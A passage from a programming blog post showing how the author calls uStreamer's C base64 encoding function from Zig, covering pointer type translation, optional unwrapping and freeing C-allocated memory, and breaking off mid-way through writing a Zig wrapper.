&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># We add --library c to let Zig know the code depends on libc.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ zig translate-c src/libs/base64.h --library c | grep us_base64
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>pub extern fn us_base64_encode(data: [*c]const u8, size: usize, encoded: [*c][*c]u8, allocated: [*c]usize) void;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>From more trial and error, I eventually guessed my way to these semantics for calling &lt;code>us_base64_encode&lt;/code> from Zig:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-zig" data-lang="zig">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>input&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;hello, world!&amp;#34;&lt;/span>;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">var&lt;/span>&lt;span style="color:#666"> &lt;/span>cEncoded:&lt;span style="color:#666"> &lt;/span>[*c]&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">null&lt;/span>;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">var&lt;/span>&lt;span style="color:#666"> &lt;/span>allocatedSize:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">usize&lt;/span>&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#3677a9">0&lt;/span>;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>ustreamer.&lt;span style="color:#447fcf">us_base64_encode&lt;/span>(input.ptr,&lt;span style="color:#666"> &lt;/span>input.len,&lt;span style="color:#666"> &lt;/span>&amp;amp;cEncoded,&lt;span style="color:#666"> &lt;/span>&amp;amp;allocatedSize);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And it compiles successfully!&lt;/p>
&lt;h3 id="can-i-do-better-than-c-pointers">Can I do better than C pointers?&lt;/h3>
&lt;p>Recall what the Zig documentation &lt;a href="https://ziglang.org/documentation/0.11.0/#C-Pointers">said about C pointers&lt;/a>:&lt;/p>
&lt;blockquote>
&lt;p>The only valid reason for using a C pointer is in auto-generated code&amp;hellip;&lt;/p>&lt;/blockquote>
&lt;p>I&amp;rsquo;m writing this code by hand, so I guess I shouldn&amp;rsquo;t be using a type reserved for auto-generated code.&lt;/p>
&lt;p>I know that the third parameter to &lt;code>us_base64_encode&lt;/code> is a pointer to a null-terminated string. How do I represent that in Zig?&lt;/p>
&lt;p>My first thought was to do this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-zig" data-lang="zig">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">var&lt;/span>&lt;span style="color:#666"> &lt;/span>cEncoded:&lt;span style="color:#666"> &lt;/span>[*:&lt;span style="color:#3677a9">0&lt;/span>]&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">undefined&lt;/span>;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>ustreamer.&lt;span style="color:#447fcf">us_base64_encode&lt;/span>(input.ptr,&lt;span style="color:#666"> &lt;/span>input.len,&lt;span style="color:#666"> &lt;/span>&amp;amp;cEncoded,&lt;span style="color:#666"> &lt;/span>&amp;amp;allocatedSize);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>That seemed reasonable. I know that &lt;code>us_base64_encode&lt;/code> will populate &lt;code>cEncoded&lt;/code> with a string, and &lt;code>[*:0]u8&lt;/code> represents a null-terminated string of unkown length. But when I compile, Zig said no:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>error: expected type &amp;#39;[*c][*c]u8&amp;#39;, found &amp;#39;*[*:0]u8&amp;#39;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I was stumped, so I asked for help on &lt;a href="https://ziggit.dev/">Ziggit&lt;/a>, a Zig discussion forum. Within an hour, another user &lt;a href="https://ziggit.dev/t/improving-on-c-u8-when-calling-a-c-function-that-allocates-a-string/2489/4?u=mtlynch">showed me a solution&lt;/a>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-zig" data-lang="zig">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">var&lt;/span>&lt;span style="color:#666"> &lt;/span>cEncoded:&lt;span style="color:#666"> &lt;/span>?[*:&lt;span style="color:#3677a9">0&lt;/span>]&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">null&lt;/span>;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>ustreamer.&lt;span style="color:#447fcf">us_base64_encode&lt;/span>(input.ptr,&lt;span style="color:#666"> &lt;/span>input.len,&lt;span style="color:#666"> &lt;/span>&amp;amp;cEncoded,&lt;span style="color:#666"> &lt;/span>&amp;amp;allocatedSize);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The issue was that in C, a type of &lt;code>char**&lt;/code> can be &lt;code>null&lt;/code>, whereas a Zig type of &lt;code>[*:0]u8&lt;/code> cannot be null. That&amp;rsquo;s why Zig refused to let me pass in my previous attempt.&lt;/p>
&lt;p>Breaking down the correct type of &lt;code>?[*:0]u8&lt;/code>, I see that it&amp;rsquo;s:&lt;/p>
&lt;ul>
&lt;li>a null-terminated slice of bytes (&lt;code>:0]u8&lt;/code>)&lt;/li>
&lt;li>of unknown length (&lt;code>[*&lt;/code>)&lt;/li>
&lt;li>that &lt;a href="https://ziglang.org/documentation/0.11.0/#Optionals">might be null&lt;/a> (&lt;code>?&lt;/code>)&lt;/li>
&lt;/ul>
&lt;p>The new type allows me to compile the code, but if I try to print the value of &lt;code>cEncoded&lt;/code>, I get what appears to be a memory address rather than a string:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ zig build run
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>input: hello, world!
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>output: u8@2b12a0 &lt;span style="color:#999;font-style:italic"># &amp;lt;&amp;lt; whoops, not what I expected&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>output size: &lt;span style="color:#3677a9">21&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>In order to convert &lt;code>cEncoded&lt;/code> back to a printable string, I have to unwrap it from its optional variable by verifying in code that its value is non-null:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-zig" data-lang="zig">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">var&lt;/span>&lt;span style="color:#666"> &lt;/span>cEncoded:&lt;span style="color:#666"> &lt;/span>?[*:&lt;span style="color:#3677a9">0&lt;/span>]&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">null&lt;/span>;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>ustreamer.&lt;span style="color:#447fcf">us_base64_encode&lt;/span>(input.ptr,&lt;span style="color:#666"> &lt;/span>input.len,&lt;span style="color:#666"> &lt;/span>&amp;amp;cEncoded,&lt;span style="color:#666"> &lt;/span>&amp;amp;allocatedSize);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>output:&lt;span style="color:#666"> &lt;/span>[*:&lt;span style="color:#3677a9">0&lt;/span>]&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>cEncoded&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">orelse&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">error&lt;/span>.UnexpectedNull;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>...&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>std.debug.&lt;span style="color:#447fcf">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;output: {s}&lt;/span>&lt;span style="color:#ed9d13">\n&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>.{output});&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And then it prints the correct result:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ zig build run
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>input: hello, world!
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>output: &lt;span style="color:#40ffff">aGVsbG8sIHdvcmxkIQ&lt;/span>==
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>output size: &lt;span style="color:#3677a9">21&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="completing-the-call-to-c-from-zig">Completing the call to C from Zig&lt;/h3>
&lt;p>At this point, I now have complete working code for calling the C &lt;code>us_base64_encode&lt;/code> from Zig. Here&amp;rsquo;s the full &lt;code>src/main.zig&lt;/code> file:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-zig" data-lang="zig">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// src/main.zig
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>std&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#24909d">@import&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;std&amp;#34;&lt;/span>);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#999;font-style:italic">// Import the base64 implementation from uStreamer&amp;#39;s C source file.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>ustreamer&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#24909d">@cImport&lt;/span>({&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#24909d">@cInclude&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;libs/base64.c&amp;#34;&lt;/span>);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>});&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">pub&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">main&lt;/span>()&lt;span style="color:#666"> &lt;/span>!&lt;span style="color:#6ab825;font-weight:bold">void&lt;/span>&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#999;font-style:italic">// Create a standard Zig string.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>input&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;hello, world!&amp;#34;&lt;/span>;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#999;font-style:italic">// Create variables to store the ouput parameters of us_base64_encode.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">var&lt;/span>&lt;span style="color:#666"> &lt;/span>cEncoded:&lt;span style="color:#666"> &lt;/span>?[*:&lt;span style="color:#3677a9">0&lt;/span>]&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">null&lt;/span>;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">var&lt;/span>&lt;span style="color:#666"> &lt;/span>allocatedSize:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">usize&lt;/span>&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#3677a9">0&lt;/span>;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#999;font-style:italic">// Call the uStreamer C function from Zig.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#666"> &lt;/span>ustreamer.&lt;span style="color:#447fcf">us_base64_encode&lt;/span>(input.ptr,&lt;span style="color:#666"> &lt;/span>input.len,&lt;span style="color:#666"> &lt;/span>&amp;amp;cEncoded,&lt;span style="color:#666"> &lt;/span>&amp;amp;allocatedSize);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#999;font-style:italic">// Get the output as a non-optional type.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>output:&lt;span style="color:#666"> &lt;/span>[*:&lt;span style="color:#3677a9">0&lt;/span>]&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>cEncoded&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">orelse&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">error&lt;/span>.UnexpectedNull;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#999;font-style:italic">// Free the memory that the C function allocated when this function exits.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">defer&lt;/span>&lt;span style="color:#666"> &lt;/span>std.c.&lt;span style="color:#447fcf">free&lt;/span>(cEncoded);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#999;font-style:italic">// Print the input and output of the base64 encode operation.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#666"> &lt;/span>std.debug.&lt;span style="color:#447fcf">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;input: {s}&lt;/span>&lt;span style="color:#ed9d13">\n&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>.{input});&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>std.debug.&lt;span style="color:#447fcf">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;output: {s}&lt;/span>&lt;span style="color:#ed9d13">\n&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>.{output});&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>std.debug.&lt;span style="color:#447fcf">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;output size: {d}&lt;/span>&lt;span style="color:#ed9d13">\n&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>.{allocatedSize});&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ zig build run
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>input: hello, world!
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>output: &lt;span style="color:#40ffff">aGVsbG8sIHdvcmxkIQ&lt;/span>==
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>output size: &lt;span style="color:#3677a9">21&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Great! That worked. And the results are identical to &lt;a href="#whats-the-simplest-c-function-in-ustreamer">my C implementation above&lt;/a>.&lt;/p>
&lt;p>The complete example at this stage &lt;a href="https://github.com/tiny-pilot/ustreamer/tree/zig-10-simple-exe">is on GitHub&lt;/a>.&lt;/p>
&lt;h2 id="creating-a-zig-wrapper-for-the-native-c-implementation">Creating a Zig wrapper for the native C implementation&lt;/h2>
&lt;p>At this point, I can successfully call the C &lt;code>us_base64_encode&lt;/code> function from Zig, but the code is a bit messy. Most of my &lt;code>main()&lt;/code> function is dealing with translating values to and from C code.&lt;/p>
&lt;p>One way to improve the code is to add a Zig wrapper function for &lt;code>us_base64_encode&lt;/code>. That way, I could encapsulate all the Zig to C interop logic, and callers of my wrapper wouldn&amp;rsquo;t have to know or care that I&amp;rsquo;m calling C.&lt;/p>
&lt;p>What should my wrapper function look like?&lt;/p>
&lt;p>It should accept arbitrary bytes and return a null-terminated string, so the function signature should look something like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-zig" data-lang="zig">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">base64Encode&lt;/span>(data:&lt;span style="color:#666"> &lt;/span>[]&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>)&lt;span style="color:#666"> &lt;/span>[:&lt;span style="color:#3677a9">0&lt;/span>]&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>&lt;span style="color:#666"> &lt;/span>{...}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I already have the first few lines of my implementation based on my &lt;code>main()&lt;/code> function &lt;a href="#completing-the-call-to-c-from-zig">above&lt;/a>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-zig" data-lang="zig">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">base64Encode&lt;/span>(data:&lt;span style="color:#666"> &lt;/span>[]&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>)&lt;span style="color:#666"> &lt;/span>[:&lt;span style="color:#3677a9">0&lt;/span>]&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">var&lt;/span>&lt;span style="color:#666"> &lt;/span>cEncoded:&lt;span style="color:#666"> &lt;/span>?[*:&lt;span style="color:#3677a9">0&lt;/span>]&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">null&lt;/span>;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">var&lt;/span>&lt;span style="color:#666"> &lt;/span>allocatedSize:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">usize&lt;/span>&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#3677a9">0&lt;/span>;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>ustreamer.&lt;span style="color:#447fcf">us_base64_encode&lt;/span>(data.ptr,&lt;span style="color:#666"> &lt;/span>data.len,&lt;span style="color:#666"> &lt;/span>&amp;amp;cEncoded,&lt;span style="color:#666"> &lt;/span>&amp;amp;allocatedSize);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#999;font-style:italic">// TODO: Complete the implementation.
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="whos-responsible-for-freeing-the-memory-c-allocated">Who&amp;rsquo;s responsible for freeing the memory C allocated?&lt;/h3>
&lt;p>There&amp;rsquo;s a problem I haven&amp;rsquo;t addressed yet. &lt;code>us_base64_encode&lt;/code> allocated memory into the &lt;code>cEncoded&lt;/code> pointer. The caller is responsible for either freeing that memory or passing off that responsibility to its callers.&lt;/p>
&lt;p>Normally, it&amp;rsquo;s fine for a function to declare that the caller is responsible for freeing an output value, but this case is a little trickier. This isn&amp;rsquo;t a normal Zig-allocated memory buffer — it&amp;rsquo;s a C-allocated buffer that requires a special free function (&lt;code>std.c.free&lt;/code>).&lt;/p>
&lt;p>I want to abstract away the C implementation details, so callers shouldn&amp;rsquo;t have to use a C-specific memory freeing function.&lt;/p>
&lt;p>That tells me what I need to do to complete the implementation of my Zig wrapper. I use &lt;code>defer std.c.free&lt;/code> to free the C-allocated memory, and then I&amp;rsquo;ll need to copy it into a Zig-managed slice:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-zig" data-lang="zig">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">base64Encode&lt;/span>(data:&lt;span style="color:#666"> &lt;/span>[]&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>)&lt;span style="color:#666"> &lt;/span>![:&lt;span style="color:#3677a9">0&lt;/span>]&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">var&lt;/span>&lt;span style="color:#666"> &lt;/span>cEncodedOptional:&lt;span style="color:#666"> &lt;/span>?[*:&lt;span style="color:#3677a9">0&lt;/span>]&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">null&lt;/span>;&lt;span style="color:#666">
